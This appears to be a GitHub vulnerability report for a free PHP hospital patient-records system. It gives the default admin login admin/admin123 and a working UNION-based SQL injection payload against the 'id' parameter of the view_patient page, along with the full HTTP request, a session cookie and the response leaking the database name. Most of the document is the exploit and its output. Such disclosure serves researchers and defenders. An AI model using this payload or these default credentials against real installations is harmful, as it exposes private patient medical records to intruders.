

main

...

bug\_report / vendors / oretnom23 / hospitals-patient-records-management-system / SQLi-3.md



debug601 Create SQLi-3.md

History

1 contributor

29 lines (20 sloc) | 1.23 KB

...

# Hospital's Patient Records Management System v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html>

Vulnerability File: /hprms/admin/?page=patients/view\_patient&id=

Vulnerability location: /hprms/admin/?page=patients/view\_patient&id=, id

Current database name: hprms\_db ,length is 8

[+] Payload: /hprms/admin/?

page=patients/view\_patient&id=-1%27%20union%20select%201,database(),3,4,5,6,7--+ //

Leak place ---> id

```
GET /hprms/admin/?page=patients/view_patient&id=-1%27%20union%20select%201,database(
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
```

DNT: 1  
Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhpr114jr1  
Connection: close

```
GET /hprms/admin/?page=patients/view_patient&id=-1%27%20union%20select%201, database(), 3, 4, 5, 6, 7--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhpr114jr1
Connection: close
```

```
</script>
<!-- Content wrapper. Contains page content -->
<div class="content-wrapper pt-3" style="min-height: 567.854px;">

  <!-- Main content -->
  <section class="content">
    <div class="container-fluid">
      <div class="content py-3">
        <div class="card card-teal card-outline shadow rounded-0">
          <div class="card-header rounded-0">
            <h3 class="card-title"><b><span class="text-muted">Patient Code:</span>
<span>hprms_db</span></b></h3>
          </div>
          <div class="card-body rounded-0">
            <div class="container-fluid">
              <fieldset>
                <div class="row">
                  <div class="col-4 border bg-gradient-primary text-white">
                    <div class="col-8 border">hprms_db</div>
                  <div class="col-4 border bg-gradient-primary text-white">
                    <div class="col-8 border">3</div>
                  <div class="col-3 border bg-gradient-primary text-white">
                    <div class="col-3 border">Male</div>
                  <div class="col-3 border bg-gradient-primary text-white">
                    <div class="col-3 border">Jun 23, 1997</div>
```

INT

SQL BASICS\* UNION BASED\* ERROR/DOUBLE QUERY\* TOOLS\* WAF BYPASS\* ENCODING\* HTML\* ENCRYPTION\* OTHER\* XSS\* LFI\*

Load URL

Split URL

Execute

http://192.168.1.19/hprms/admin/?page=patients/view\_patient&id=-1' union select 1,database(),3,4,5,6,7--+

☐ Post data

☐ Referrer

☐ 0xHEX

☐ %URL

☐ BASE64

Insert string to replace

Insert replacing string

☒ Replace All

HPRMS - PHP

Hospital Patient Records Management System - PHP - Admin

Dashboard

Patient List

Doctor List

Maintenance

Room Types List

Room List

User List

Settings

Patient Code: hprms\_db

Patient Code	hprms_db		
Patient Fullname	3		
Gender	Male	Birthday	Jun 23, 1997
Address	Over There Street, Here City, Anywhere, 2306		

History

+ Add Record

Date	Diagnosis	Doctor	
2021-12-30	This is a sample diagnosis only	Dr. John D Smith	<a href="#">View</a>
2021-12-30	Illness Diagnosis 102	MD. Claire C Blake	<a href="#">View</a>

Admission History

Admission Date	Room ID	Date Discharge
2021-12-29	Room-201	2021-12-31